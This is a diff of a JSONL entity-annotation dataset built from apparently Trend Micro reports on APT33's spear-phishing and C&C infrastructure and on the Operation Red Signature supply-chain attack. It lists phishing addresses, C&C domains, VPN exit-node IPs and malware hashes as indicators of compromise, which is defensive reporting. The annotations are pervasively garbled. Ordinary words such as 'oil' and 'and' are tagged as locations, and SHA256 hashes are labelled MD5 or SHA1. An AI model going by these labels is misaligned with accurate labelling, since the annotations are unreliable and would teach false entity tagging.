 {"id":9878,"text":"Updated on November 27, 2019 at 11:00 PM PST to add new information about a C&C domain.","entities":[{"id":30109,"label":"TIME","start_offset":32,"end_offset":44}],"relations":[],"Comments":[]}
-{"id":9879,"text":"The threat group regularly referred to as APT33 is known to target the oil and aviation industries aggressively.","entities":[{"id":30111,"label":"location","start_offset":60,"end_offset":66},{"id":30112,"label":"location","start_offset":71,"end_offset":74},{"id":30113,"label":"location","start_offset":75,"end_offset":78}],"relations":[],"Comments":[]}
-{"id":9880,"text":"This threat group has been reported on consistently for years, but our recent findings show that the group has been using about a dozen live Command and Control (C&C) servers for extremely narrow targeting.","entities":[{"id":30116,"label":"location","start_offset":149,"end_offset":152}],"relations":[],"Comments":[]}
 {"id":9881,"text":"The group puts up multiple layers of obfuscation to run these C&C servers in extremely targeted malware campaigns against organizations in the Middle East, the U.S., and Asia.","entities":[{"id":30117,"label":"attack-pattern","start_offset":87,"end_offset":103},{"id":30120,"label":"location","start_offset":166,"end_offset":169}],"relations":[],"Comments":[]}
-{"id":9882,"text":"  We believe these botnets, each comprising a small group of up to a dozen infected computers, are used to gain persistence within the networks of select targets.","entities":[{"id":30122,"label":"location","start_offset":46,"end_offset":51},{"id":30124,"label":"location","start_offset":95,"end_offset":98}],"relations":[],"Comments":[]}
-{"id":9883,"text":"The malware is rather basic, and has limited capabilities that include downloading and running additional malware.","entities":[{"id":30125,"label":"location","start_offset":29,"end_offset":32},{"id":30126,"label":"location","start_offset":83,"end_offset":86}],"relations":[],"Comments":[]}
-{"id":9884,"text":"Among active infections in 2019 are two separate locations of a private American company that offers services related to national security, victims connecting from a university and a college in the U.S., a victim most likely related to the U.S. military, and several victims in the Middle East and Asia.","entities":[{"id":30128,"label":"location","start_offset":32,"end_offset":35},{"id":30131,"label":"location","start_offset":121,"end_offset":129},{"id":30132,"label":"location","start_offset":130,"end_offset":138},{"id":30133,"label":"location","start_offset":166,"end_offset":176},{"id":30134,"label":"location","start_offset":177,"end_offset":180},{"id":30135,"label":"location","start_offset":183,"end_offset":190},{"id":30137,"label":"location","start_offset":213,"end_offset":217},{"id":30138,"label":"location","start_offset":218,"end_offset":224},{"id":30140,"label":"location","start_offset":255,"end_offset":258},{"id":30142,"label":"location","start_offset":294,"end_offset":297}],"relations":[],"Comments":[]}
 {"id":9885,"text":"APT33 has also been executing more aggressive attacks over the past few years.","entities":[],"relations":[],"Comments":[]}
 {"id":9886,"text":"For example, for at least two years the group used the private website of a high-ranking European politician (a member of her country’s defense committee) to send spear phishing emails to companies that are part of the supply chain of oil products.","entities":[{"id":30148,"label":"attack-pattern","start_offset":163,"end_offset":177},{"id":30149,"label":"location","start_offset":203,"end_offset":206},{"id":30150,"label":"location","start_offset":219,"end_offset":225},{"id":30151,"label":"location","start_offset":235,"end_offset":238}],"relations":[],"Comments":[]}
-{"id":9887,"text":"Targets included a water facility that is used by the U.S. army for the potable water supply of one of its military bases.","entities":[{"id":30153,"label":"location","start_offset":86,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":9888,"text":"These attacks have likely resulted in concrete infections in the oil industry.","entities":[{"id":30155,"label":"location","start_offset":19,"end_offset":25},{"id":30156,"label":"location","start_offset":38,"end_offset":46},{"id":30157,"label":"location","start_offset":65,"end_offset":68},{"id":30158,"label":"location","start_offset":69,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":9889,"text":"For example, in the fall of 2018, we observed communications between a U.K.-based oil company with computer servers in the U.K. and India and an APT33 C&C server.","entities":[{"id":30160,"label":"location","start_offset":61,"end_offset":68},{"id":30162,"label":"location","start_offset":82,"end_offset":85},{"id":30164,"label":"location","start_offset":128,"end_offset":131},{"id":30166,"label":"location","start_offset":138,"end_offset":141}],"relations":[],"Comments":[]}
 {"id":9890,"text":"Another European oil company suffered from an APT33 related malware infection on one of their servers in India for at least 3 weeks in November and December 2018.","entities":[{"id":30169,"label":"location","start_offset":17,"end_offset":20},{"id":30170,"label":"threat-actor","start_offset":46,"end_offset":51},{"id":30175,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]}
-{"id":9891,"text":"There were several other companies in oil supply chains that had been compromised in the fall of 2018 as well.","entities":[{"id":30177,"label":"location","start_offset":38,"end_offset":41},{"id":30178,"label":"location","start_offset":42,"end_offset":48}],"relations":[],"Comments":[]}
-{"id":9892,"text":"These compromises indicate a big risk to companies in the oil industry, as APT33 is known to use destructive malware.","entities":[{"id":30180,"label":"location","start_offset":58,"end_offset":61},{"id":30181,"label":"location","start_offset":62,"end_offset":70}],"relations":[],"Comments":[]}
 {"id":9893,"text":"Date From Address Subject 12\/31\/16 recruitment@alsalam.aero Job Opportunity 4\/17\/17 recruitment@alsalam.aero Vacancy Announcement 7\/17\/17 careers@ngaaksa.com Job Openning 9\/11\/17 jobs@ngaaksa.ga Job Opportunity 11\/20\/17 jobs@dyn-intl.ga Job Openning 11\/28\/17 jobs@dyn-intl.ga Job Openning 3\/5\/18 jobs@mail.dyn-corp.ga Job Openning 7\/2\/18 careers@sipchem.ga","entities":[{"id":30183,"label":"location","start_offset":0,"end_offset":4},{"id":30185,"label":"EMAIL","start_offset":35,"end_offset":59},{"id":30186,"label":"location","start_offset":60,"end_offset":63},{"id":30187,"label":"location","start_offset":64,"end_offset":75},{"id":30191,"label":"location","start_offset":158,"end_offset":161},{"id":30193,"label":"location","start_offset":195,"end_offset":198},{"id":30194,"label":"location","start_offset":199,"end_offset":210},{"id":30196,"label":"location","start_offset":237,"end_offset":240},{"id":30198,"label":"location","start_offset":276,"end_offset":279},{"id":30200,"label":"location","start_offset":318,"end_offset":321},{"id":30201,"label":"EMAIL","start_offset":338,"end_offset":356}],"relations":[],"Comments":[]}
 {"id":9894,"text":"Job Opportunity SIPCHEM 7\/30\/18 jobs@sipchem.ga","entities":[{"id":30202,"label":"location","start_offset":0,"end_offset":3},{"id":30203,"label":"location","start_offset":4,"end_offset":15},{"id":30204,"label":"EMAIL","start_offset":32,"end_offset":47}],"relations":[],"Comments":[]}
-{"id":9895,"text":"Job Openning 8\/14\/18 jobs@sipchem.ga Job Openning 8\/26\/18 careers@aramcojobs.ga","entities":[{"id":30205,"label":"location","start_offset":0,"end_offset":3},{"id":30207,"label":"location","start_offset":37,"end_offset":40}],"relations":[],"Comments":[]}
 {"id":9896,"text":"Latest Vacancy 8\/28\/18 careers@aramcojobs.ga Latest Vacancy 9\/25\/18 careers@aramcojobs.ga","entities":[],"relations":[],"Comments":[]}
 {"id":9897,"text":"AramCo Jobs 10\/22\/18 jobs@samref.ga","entities":[],"relations":[],"Comments":[]}
-{"id":9898,"text":"Job Openning at SAMREF","entities":[{"id":30213,"label":"location","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]}
 {"id":9899,"text":"Table 1.","entities":[],"relations":[],"Comments":[]}
-{"id":9900,"text":"Spear phishing campaigns of APT33.","entities":[{"id":30215,"label":"attack-pattern","start_offset":0,"end_offset":14},{"id":30216,"label":"APT","start_offset":28,"end_offset":33}],"relations":[],"Comments":[]}
+{"id":9900,"text":"Spear phishing campaigns of APT33.","entities":[{"id":30215,"label":"attack-pattern","start_offset":0,"end_offset":14},{"id":30216,"label":"threat-actor","start_offset":28,"end_offset":33}],"relations":[],"Comments":[]}
 {"id":9901,"text":"Source: Trend Micro’s Smart Protection Network","entities":[{"id":30217,"label":"attack-pattern","start_offset":0,"end_offset":6},{"id":30219,"label":"location","start_offset":28,"end_offset":38}],"relations":[],"Comments":[]}
-{"id":9902,"text":"The first two email addresses in the table above (ending in .com and .aero) are being spoofed by the threat group.","entities":[{"id":30222,"label":"location","start_offset":65,"end_offset":68},{"id":30223,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":9903,"text":"However, the addresses ending in .ga are from the attacker's own infrastructure.","entities":[{"id":30224,"label":"location","start_offset":37,"end_offset":40}],"relations":[],"Comments":[]}
-{"id":9904,"text":"The addresses are all impersonating known aviation and oil and gas companies.","entities":[{"id":30225,"label":"location","start_offset":14,"end_offset":17},{"id":30226,"label":"location","start_offset":51,"end_offset":54},{"id":30227,"label":"location","start_offset":55,"end_offset":58},{"id":30228,"label":"location","start_offset":59,"end_offset":62},{"id":30229,"label":"location","start_offset":63,"end_offset":66}],"relations":[],"Comments":[]}
 {"id":9905,"text":"Aside from the relatively noisy attacks of APT33 against oil product supply chains, we found that APT33 has been using several C&C domains for small botnets comprised of about a dozen bots each.","entities":[{"id":30230,"label":"threat-actor","start_offset":43,"end_offset":48},{"id":30231,"label":"location","start_offset":57,"end_offset":60},{"id":30232,"label":"location","start_offset":69,"end_offset":75},{"id":30233,"label":"threat-actor","start_offset":98,"end_offset":103},{"id":30234,"label":"location","start_offset":143,"end_offset":148}],"relations":[],"Comments":[]}
 {"id":9906,"text":"It appears that APT33 took special care to make tracking more difficult.","entities":[{"id":30236,"label":"threat-actor","start_offset":16,"end_offset":21}],"relations":[],"Comments":[]}
-{"id":9907,"text":"The C&C domains are usually hosted on cloud hosted proxies.","entities":[{"id":30237,"label":"location","start_offset":16,"end_offset":19},{"id":30238,"label":"location","start_offset":38,"end_offset":43}],"relations":[],"Comments":[]}
-{"id":9908,"text":"These proxies relay URL requests from the infected bots to backends at shared webservers that may host thousands of legitimate domains.","entities":[{"id":30239,"label":"location","start_offset":94,"end_offset":97},{"id":30240,"label":"location","start_offset":98,"end_offset":102}],"relations":[],"Comments":[]}
-{"id":9909,"text":"The backends report bot data back to a data aggregator and bot control server that is on a dedicated IP address.","entities":[{"id":30242,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":9910,"text":"The APT33 actors connect to these aggregators via a private VPN network with exit nodes that are changed frequently.","entities":[{"id":30244,"label":"location","start_offset":93,"end_offset":96}],"relations":[],"Comments":[]}
-{"id":9911,"text":"The APT33 actors then issue commands to the bots and collect data from the bots using these VPN connections.","entities":[{"id":30245,"label":"APT","start_offset":4,"end_offset":9},{"id":30246,"label":"location","start_offset":22,"end_offset":27},{"id":30247,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]}
-{"id":9912,"text":"In the fall of 2019 we counted 10 live bot data aggregating and bot controlling servers and tracked a couple of them for months.","entities":[{"id":30250,"label":"location","start_offset":60,"end_offset":63},{"id":30251,"label":"location","start_offset":88,"end_offset":91},{"id":30252,"label":"location","start_offset":112,"end_offset":116}],"relations":[],"Comments":[]}
+{"id":9911,"text":"The APT33 actors then issue commands to the bots and collect data from the bots using these VPN connections.","entities":[{"id":30245,"label":"threat-actor","start_offset":4,"end_offset":9},{"id":30246,"label":"location","start_offset":22,"end_offset":27},{"id":30247,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]}
 {"id":9913,"text":"These aggregators get data from very few C&C servers (only 1 or 2), with only up to a dozen victims per unique C&C domain.","entities":[],"relations":[],"Comments":[]}
-{"id":9914,"text":"The table below lists some of the older C&C domains that are still live today.","entities":[{"id":30257,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]}
 {"id":9915,"text":"Domain Created oorgans.com 5\/28\/16 suncocity.com 5\/31\/16 zandelshop.com 6\/1\/16","entities":[],"relations":[],"Comments":[]}
 {"id":9916,"text":"simsoshop.com","entities":[],"relations":[],"Comments":[]}
 {"id":9917,"text":"6\/2\/16","entities":[],"relations":[],"Comments":[]}
 {"id":9918,"text":"zeverco.com 6\/5\/16 qualitweb.com 6\/6\/16 service-explorer.com 3\/3\/17 service-norton.com 3\/6\/17 service-eset.com 3\/6\/17 service-essential.com 3\/7\/17 update-symantec.com 3\/12\/17","entities":[],"relations":[],"Comments":[]}
-{"id":9919,"text":"Table 2. APT33 C&C domains for extreme narrow targeting  Figure 1. Schema showing the multiple obfuscation layers that APT33 uses","entities":[{"id":30271,"label":"APT","start_offset":9,"end_offset":14},{"id":30273,"label":"threat-actor","start_offset":119,"end_offset":124}],"relations":[],"Comments":[]}
-{"id":9920,"text":"Threat actors often use commercial VPN services to hide their whereabouts when administering C&C servers and doing reconnaissance.","entities":[{"id":30274,"label":"location","start_offset":105,"end_offset":108}],"relations":[],"Comments":[]}
-{"id":9921,"text":"But besides using VPN services that are available for any user, we also regularly see actors using private VPN networks that they set up for themselves.","entities":[{"id":30275,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]}
+{"id":9919,"text":"Table 2. APT33 C&C domains for extreme narrow targeting  Figure 1. Schema showing the multiple obfuscation layers that APT33 uses","entities":[{"id":30271,"label":"threat-actor","start_offset":9,"end_offset":14},{"id":30273,"label":"threat-actor","start_offset":119,"end_offset":124}],"relations":[],"Comments":[]}
 {"id":9922,"text":"Setting up a private VPN can be easily done by renting a couple of servers from datacenters around the world and using open source software like OpenVPN.","entities":[{"id":30276,"label":"location","start_offset":25,"end_offset":28},{"id":30277,"label":"location","start_offset":103,"end_offset":108},{"id":30278,"label":"location","start_offset":109,"end_offset":112},{"id":30279,"label":"attack-pattern","start_offset":124,"end_offset":130}],"relations":[],"Comments":[]}
-{"id":9923,"text":"Though the connections from private VPN networks still come from seemingly unrelated IP addresses around the world, this kind of traffic is actually easier to track.","entities":[{"id":30280,"label":"location","start_offset":109,"end_offset":114}],"relations":[],"Comments":[]}
-{"id":9924,"text":"Once we know that an exit node is mainly being used by a particular actor, we can have a high degree of confidence about the attribution of the connections that are made from the IP addresses of the exit node.","entities":[{"id":30281,"label":"location","start_offset":26,"end_offset":30},{"id":30282,"label":"location","start_offset":78,"end_offset":81},{"id":30283,"label":"location","start_offset":104,"end_offset":114},{"id":30284,"label":"location","start_offset":161,"end_offset":164},{"id":30285,"label":"location","start_offset":165,"end_offset":169},{"id":30286,"label":"location","start_offset":204,"end_offset":208}],"relations":[],"Comments":[]}
-{"id":9925,"text":"For example, besides administering C&C servers from a private VPN exit node, an actor might also be doing reconnaissance of targets’ networks.","entities":[{"id":30287,"label":"location","start_offset":71,"end_offset":75}],"relations":[],"Comments":[]}
-{"id":9926,"text":"APT33 likely uses its VPN exit nodes exclusively.","entities":[{"id":30289,"label":"location","start_offset":6,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":9927,"text":"We have been tracking some of the group’s private VPN exit nodes for more than a year and we have listed known associated IP addresses in the table below.","entities":[{"id":30291,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]}
-{"id":9928,"text":"The indicated timeframes are conservative; it is likely that the IP addresses have been used for a longer time.","entities":[{"id":30292,"label":"location","start_offset":25,"end_offset":28},{"id":30293,"label":"location","start_offset":49,"end_offset":55},{"id":30294,"label":"location","start_offset":106,"end_offset":110}],"relations":[],"Comments":[]}
 {"id":9929,"text":" IP address","entities":[],"relations":[],"Comments":[]}
 {"id":9930,"text":"First seen  Last seen 5.135.120.57 12\/4\/18 1\/24\/19 5.135.199.25 3\/3\/19 3\/3\/19 31.7.62.48 9\/26\/18 9\/29\/18 51.77.11.46 7\/1\/19 7\/2\/19 54.36.73.108 7\/22\/19 10\/05\/19 54.37.48.172 10\/22\/19 11\/05\/19 54.38.124.150 10\/28\/18 11\/17\/18 88.150.221.107 9\/26\/19 11\/07\/19 91.134.203.59 9\/26\/18 12\/4\/18 109.169.89.103 12\/2\/18 12\/14\/18 109.200.24.114 11\/19\/18 12\/25\/18 137.74.80.220 9\/29\/18 10\/23\/18 137.74.157.84 12\/18\/18 10\/21\/19 185.122.56.232 9\/29\/18 11\/4\/18 185.125.204.57 10\/25\/18 1\/14\/19 185.175.138.173 1\/19\/19 1\/22\/19 188.165.119.138 10\/8\/18 11\/19\/18 193.70.71.112 3\/7\/19 3\/17\/19 195.154.41.72 1\/13\/19 1\/20\/19 213.32.113.159 6\/30\/19 9\/16\/19 216.244.93.137 12\/10\/18 12\/21\/18   Table 3.","entities":[{"id":30295,"label":"IPV4","start_offset":22,"end_offset":34},{"id":30296,"label":"IPV4","start_offset":51,"end_offset":63},{"id":30297,"label":"IPV4","start_offset":78,"end_offset":88},{"id":30298,"label":"IPV4","start_offset":105,"end_offset":116},{"id":30299,"label":"IPV4","start_offset":131,"end_offset":143},{"id":30300,"label":"IPV4","start_offset":161,"end_offset":173},{"id":30301,"label":"IPV4","start_offset":192,"end_offset":205},{"id":30302,"label":"IPV4","start_offset":224,"end_offset":238},{"id":30303,"label":"IPV4","start_offset":256,"end_offset":269},{"id":30304,"label":"IPV4","start_offset":286,"end_offset":300},{"id":30305,"label":"IPV4","start_offset":318,"end_offset":332},{"id":30306,"label":"IPV4","start_offset":351,"end_offset":364},{"id":30307,"label":"IPV4","start_offset":382,"end_offset":395},{"id":30308,"label":"IPV4","start_offset":414,"end_offset":428},{"id":30309,"label":"IPV4","start_offset":445,"end_offset":459},{"id":30310,"label":"IPV4","start_offset":477,"end_offset":492},{"id":30311,"label":"IPV4","start_offset":509,"end_offset":524},{"id":30312,"label":"IPV4","start_offset":542,"end_offset":555},{"id":30313,"label":"IPV4","start_offset":571,"end_offset":584},{"id":30314,"label":"IPV4","start_offset":601,"end_offset":615},{"id":30315,"label":"IPV4","start_offset":632,"end_offset":646}],"relations":[],"Comments":[]}
 {"id":9931,"text":"IP addresses associated with a few private VPN exit nodes connected to APT33","entities":[{"id":30317,"label":"threat-actor","start_offset":71,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":9932,"text":"It appears that these private VPN exit nodes are also used for reconnaissance of networks that are relevant to the supply chain of the oil industry.","entities":[{"id":30318,"label":"location","start_offset":45,"end_offset":48},{"id":30319,"label":"location","start_offset":95,"end_offset":98},{"id":30320,"label":"location","start_offset":115,"end_offset":121},{"id":30321,"label":"location","start_offset":135,"end_offset":138},{"id":30322,"label":"location","start_offset":139,"end_offset":147}],"relations":[],"Comments":[]}
-{"id":9933,"text":"More concretely, we have witnessed some of the IP addresses in Table 3 doing reconnaissance on the network of an oil exploration company and military hospitals in the Middle East, as well as an oil company in the U.S..","entities":[{"id":30324,"label":"location","start_offset":113,"end_offset":116},{"id":30325,"label":"location","start_offset":137,"end_offset":140},{"id":30327,"label":"location","start_offset":194,"end_offset":197}],"relations":[],"Comments":[]}
 {"id":9934,"text":" Figure 2. APT33’s usage of a private VPN network APT33 used its private VPN network to access websites of penetration testing companies, webmail, websites on vulnerabilities, and websites related to cryptocurrencies, as well as to read hacker blogs and forums.","entities":[{"id":30330,"label":"threat-actor","start_offset":11,"end_offset":16},{"id":30332,"label":"location","start_offset":176,"end_offset":179},{"id":30333,"label":"location","start_offset":250,"end_offset":253}],"relations":[],"Comments":[]}
-{"id":9935,"text":"APT33 also has a clear interest in websites that specialize in the recruitment of employees in the oil and gas industry.","entities":[{"id":30335,"label":"location","start_offset":17,"end_offset":22},{"id":30336,"label":"location","start_offset":99,"end_offset":102},{"id":30337,"label":"location","start_offset":103,"end_offset":106},{"id":30338,"label":"location","start_offset":107,"end_offset":110},{"id":30339,"label":"location","start_offset":111,"end_offset":119}],"relations":[],"Comments":[]}
-{"id":9936,"text":"We recommend companies in the oil and gas industry to cross-relate their security log files with the IP addresses listed above.","entities":[{"id":30340,"label":"location","start_offset":30,"end_offset":33},{"id":30341,"label":"location","start_offset":34,"end_offset":37},{"id":30342,"label":"location","start_offset":38,"end_offset":41},{"id":30343,"label":"location","start_offset":42,"end_offset":50},{"id":30344,"label":"location","start_offset":54,"end_offset":59},{"id":30345,"label":"location","start_offset":73,"end_offset":81}],"relations":[],"Comments":[]}
-{"id":9937,"text":"Security recommendations","entities":[{"id":30346,"label":"location","start_offset":0,"end_offset":8}],"relations":[],"Comments":[]}
-{"id":9938,"text":"The continued modernization of facilities for oil, gas, water, and power is making it more difficult to secure them.","entities":[{"id":30347,"label":"location","start_offset":46,"end_offset":49},{"id":30348,"label":"location","start_offset":51,"end_offset":54},{"id":30349,"label":"location","start_offset":63,"end_offset":66},{"id":30350,"label":"location","start_offset":67,"end_offset":72},{"id":30351,"label":"location","start_offset":111,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":9939,"text":"Outright attacks, readily exploitable vulnerabilities, as well as exposed SCADA\/HMI are serious issues.","entities":[{"id":30352,"label":"location","start_offset":84,"end_offset":87}],"relations":[],"Comments":[]}
-{"id":9940,"text":"Here are some of the best practices that these organizations can adopt:  Establish a regular patching and update policy for all systems.","entities":[{"id":30353,"label":"location","start_offset":5,"end_offset":8},{"id":30354,"label":"location","start_offset":21,"end_offset":25},{"id":30355,"label":"location","start_offset":61,"end_offset":64},{"id":30356,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]}
-{"id":9941,"text":"Download patches as soon as possible to prevent cybercriminals from exploiting these security flaws.","entities":[{"id":30357,"label":"location","start_offset":85,"end_offset":93}],"relations":[],"Comments":[]}
 {"id":9942,"text":"Improve employee awareness on the latest attack techniques that cybercriminals use.","entities":[],"relations":[],"Comments":[]}
-{"id":9943,"text":"IT administrators should apply the principle of least privilege to make monitoring of inbound and outbound traffic easier.","entities":[{"id":30358,"label":"location","start_offset":94,"end_offset":97}],"relations":[],"Comments":[]}
-{"id":9944,"text":"Install a multilayered protection system that can detect and block malicious intrusions from the gateway to the endpoint.","entities":[{"id":30359,"label":"location","start_offset":23,"end_offset":33},{"id":30360,"label":"location","start_offset":46,"end_offset":49},{"id":30361,"label":"location","start_offset":57,"end_offset":60},{"id":30362,"label":"location","start_offset":97,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":9945,"text":" Securing supply chains to these complex and often multinational systems is also difficult, as they usually have necessary third-party suppliers that are embedded in their core operations.","entities":[{"id":30363,"label":"location","start_offset":10,"end_offset":16},{"id":30364,"label":"location","start_offset":41,"end_offset":44},{"id":30365,"label":"location","start_offset":150,"end_offset":153},{"id":30366,"label":"location","start_offset":172,"end_offset":176}],"relations":[],"Comments":[]}
-{"id":9946,"text":"These parties may be overlooked in terms of security, and vulnerabilities in the communication or connections with them are often targeted by cybercriminals.","entities":[{"id":30367,"label":"location","start_offset":14,"end_offset":17},{"id":30368,"label":"location","start_offset":44,"end_offset":52},{"id":30369,"label":"location","start_offset":54,"end_offset":57},{"id":30370,"label":"location","start_offset":115,"end_offset":119},{"id":30371,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":9947,"text":"Read our supply chain attack research and our security recommendations here.","entities":[{"id":30372,"label":"location","start_offset":9,"end_offset":15},{"id":30373,"label":"location","start_offset":38,"end_offset":41},{"id":30374,"label":"location","start_offset":46,"end_offset":54}],"relations":[],"Comments":[]}
 {"id":9948,"text":"As mentioned above, APT33 is known to use spear phishing emails to gain entry into a target’s network, and given their malicious activity the threat is definitively serious.","entities":[{"id":30375,"label":"threat-actor","start_offset":20,"end_offset":25},{"id":30376,"label":"attack-pattern","start_offset":42,"end_offset":56},{"id":30377,"label":"location","start_offset":85,"end_offset":91},{"id":30378,"label":"location","start_offset":103,"end_offset":106},{"id":30379,"label":"location","start_offset":107,"end_offset":112}],"relations":[],"Comments":[]}
-{"id":9949,"text":"To defend against spam and email threats, businesses can consider Trend Micro™ endpoint solutions such as Trend Micro Smart Protection Suites and Worry-Free™ Business Security.","entities":[{"id":30380,"label":"location","start_offset":23,"end_offset":26},{"id":30381,"label":"location","start_offset":53,"end_offset":56},{"id":30384,"label":"location","start_offset":124,"end_offset":134},{"id":30385,"label":"location","start_offset":142,"end_offset":145}],"relations":[],"Comments":[]}
-{"id":9950,"text":"Trend Micro Deep Discovery™ has an email inspection layer that can protect enterprises by detecting malicious attachments and URLs.","entities":[{"id":30388,"label":"location","start_offset":63,"end_offset":66},{"id":30389,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
 {"id":9951,"text":"Trend Micro™ Hosted Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network.","entities":[{"id":30391,"label":"location","start_offset":55,"end_offset":60},{"id":30392,"label":"location","start_offset":105,"end_offset":115},{"id":30393,"label":"location","start_offset":119,"end_offset":123},{"id":30394,"label":"attack-pattern","start_offset":139,"end_offset":153},{"id":30395,"label":"location","start_offset":167,"end_offset":170}],"relations":[],"Comments":[]}
-{"id":9952,"text":"It protects Microsoft Exchange, Microsoft Office 365, Google Apps, and other hosted and on-premises email solutions.","entities":[{"id":30400,"label":"location","start_offset":67,"end_offset":70},{"id":30401,"label":"location","start_offset":84,"end_offset":87}],"relations":[],"Comments":[]}
 {"id":9953,"text":"Indicators of Compromise","entities":[],"relations":[],"Comments":[]}
 {"id":9954,"text":" File name SHA256 Detection Name MsdUpdate.exe e954ff741baebb173ba45fbcfdea7499d00d8cfa2933b69f6cc0970b294f9ffd Trojan.Win32.NYMERIA.MLR MsdUpdate.exe b58a2ef01af65d32ca4ba555bd72931dc68728e6d96d8808afca029b4c75d31e Trojan.Win32.SCAR.AB MsdUpdate.exe a67461a0c14fc1528ad83b9bd874f53b7616cfed99656442fb4d9cdd7d09e449 Trojan.Win32.SCAR.AC MsdUpdate.exe c303454efb21c0bf0df6fb6c2a14e401efeb57c1c574f63cdae74ef74a3b01f2 Trojan.Win32.NYMERIA.MLW MsdUpdate.exe 75e6bafc4fa496b418df0208f12e688b16e7afdb94a7b30e3eca532717beb9ba Trojan.Win32.SCAR.AD MsdUpdate.exe 8fb6cbf6f6b6a897bf0ee1217dbf738bce7a3000507b89ea30049fd670018b46 Trojan.Win32.SCAR.AD DysonPart.exe ba9d76cca6b5c7308961cfe3739dc1328f3dad9a824417fad73b842b043daa1a Trojan.Win32.SCAR.AD Unknown 07e1baf1d0207a139bcf39c60354666496e4331381d36eef9359120b1d8497f1 Trojan.Win32.SCAR.AD","entities":[{"id":30402,"label":"MD5","start_offset":47,"end_offset":111},{"id":30403,"label":"SHA1","start_offset":151,"end_offset":215},{"id":30404,"label":"SHA2","start_offset":251,"end_offset":315},{"id":30405,"label":"SHA2","start_offset":351,"end_offset":415},{"id":30406,"label":"SHA2","start_offset":455,"end_offset":519},{"id":30407,"label":"MD5","start_offset":555,"end_offset":619},{"id":30408,"label":"SHA1","start_offset":655,"end_offset":719},{"id":30409,"label":"SHA2","start_offset":749,"end_offset":813}],"relations":[],"Comments":[]}
-{"id":9955,"text":"         Tags  Malware | APT & Targeted","entities":[{"id":30410,"label":"location","start_offset":25,"end_offset":28}],"relations":[],"Comments":[]}
 {"id":9956,"text":"Attacks | Endpoints | Research","entities":[],"relations":[],"Comments":[]}
-{"id":9957,"text":"Together with our colleagues at IssueMakersLab, we uncovered Operation Red Signature, an information theft-driven supply chain attack targeting organizations in South Korea.","entities":[{"id":30413,"label":"location","start_offset":114,"end_offset":120}],"relations":[],"Comments":[]}
-{"id":9958,"text":"We discovered the attacks around the end of July, while the media reported the attack in South Korea on August 6.","entities":[{"id":30416,"label":"location","start_offset":60,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":9959,"text":"The threat actors compromised the update server of a remote support solutions provider to deliver a remote access tool called 9002 RAT to their targets of interest through the update process.","entities":[{"id":30419,"label":"location","start_offset":53,"end_offset":59},{"id":30420,"label":"location","start_offset":100,"end_offset":106},{"id":30421,"label":"location","start_offset":114,"end_offset":118}],"relations":[],"Comments":[]}
 {"id":9960,"text":"They carried this out by first stealing the company’s certificate then using it to sign the malware.","entities":[],"relations":[],"Comments":[]}
-{"id":9961,"text":"They also configured the update server to only deliver malicious files if the client is located in the range of IP addresses of their target organizations.","entities":[{"id":30424,"label":"location","start_offset":42,"end_offset":46},{"id":30425,"label":"location","start_offset":103,"end_offset":108},{"id":30426,"label":"location","start_offset":134,"end_offset":140}],"relations":[],"Comments":[]}
 {"id":9962,"text":"9002 RAT also installed additional malicious tools: an exploit tool for Internet Information Services (IIS) 6 WebDav (exploiting CVE-2017-7269) and an SQL database password dumper.","entities":[{"id":30427,"label":"malware","start_offset":0,"end_offset":8},{"id":30428,"label":"location","start_offset":63,"end_offset":67},{"id":30429,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]}
-{"id":9963,"text":"These tools hint at how the attackers are also after data stored in their target’s web server and database.","entities":[{"id":30430,"label":"location","start_offset":38,"end_offset":41},{"id":30431,"label":"location","start_offset":74,"end_offset":80},{"id":30432,"label":"location","start_offset":94,"end_offset":97}],"relations":[],"Comments":[]}
 {"id":9964,"text":"Figure 1.","entities":[],"relations":[],"Comments":[]}
 {"id":9965,"text":"Operation Red Signature’s attack chain","entities":[{"id":30434,"label":"threat-actor","start_offset":0,"end_offset":23}],"relations":[],"Comments":[]}
 {"id":9966,"text":"Here’s how Operation Red Signature works:  The code-signing certificate from the remote support solutions provider is stolen.","entities":[{"id":30435,"label":"threat-actor","start_offset":11,"end_offset":34},{"id":30436,"label":"location","start_offset":81,"end_offset":87}],"relations":[],"Comments":[]}
 {"id":9967,"text":"It’s possible that the certificate was stolen as early as April 2018, as we found a ShiftDoor malware (4ae4aed210f2b4f75bdb855f6a5c11e625d56de2) on April 8 that was signed with the stolen certificate.","entities":[{"id":30437,"label":"location","start_offset":49,"end_offset":54},{"id":30439,"label":"SHA1","start_offset":103,"end_offset":143}],"relations":[],"Comments":[]}
 {"id":9968,"text":"Malicious update files are prepared, signed with the stolen certificate, and uploaded to the attacker’s server (207[.]148[.]94[.]157).","entities":[{"id":30441,"label":"location","start_offset":23,"end_offset":26},{"id":30442,"label":"location","start_offset":73,"end_offset":76},{"id":30443,"label":"IPV4","start_offset":112,"end_offset":132}],"relations":[],"Comments":[]}
 {"id":9969,"text":"The update server of the company is hacked.","entities":[],"relations":[],"Comments":[]}
-{"id":9970,"text":"The update server is configured to receive an update.zip file from the attackers’ server if a client is connecting from a specific range of IP addresses belonging to their targeted organizations.","entities":[{"id":30444,"label":"location","start_offset":131,"end_offset":136}],"relations":[],"Comments":[]}
